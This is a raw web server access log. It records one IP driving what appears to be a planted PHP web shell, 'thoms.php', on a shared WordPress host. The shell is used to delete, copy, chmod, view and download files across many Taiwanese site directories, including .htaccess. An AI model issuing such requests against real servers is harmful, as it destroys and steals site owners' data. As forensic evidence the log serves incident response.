45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11920 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 19100 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 19142 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 19106 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 18863 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=bft.com.tw&p= HTTP/1.1" 200 11984 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11769 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17376 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 19107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 11978 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 11969 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 11979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 11977 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 11982 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 19107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 11977 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 11962 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 11960 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 19107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 11975 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 19107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:41 -0400] "GET /bft.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 19141 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17535 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 19087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 19143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 18953 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 11978 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 11979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11767 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 19108 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 19095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 19107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 13520 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 11979 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 11983 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/wp-activate.php?step=0 HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:42 -0400] "GET /bft.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bfl.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19230 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=upgrade HTTP/1.1" 200 11319 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=broadweb.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=wp-content HTTP/1.1" 200 11382 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bestzyx.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=betcity.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bft.com.tw HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bioway88.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19163 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11410 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:43 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bodbooks.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bossini.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=cgi-bin HTTP/1.1" 200 11332 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19216 "https://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=big-wife.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=besth2o.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=bestjudy.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:44 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p=booking-wise2.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
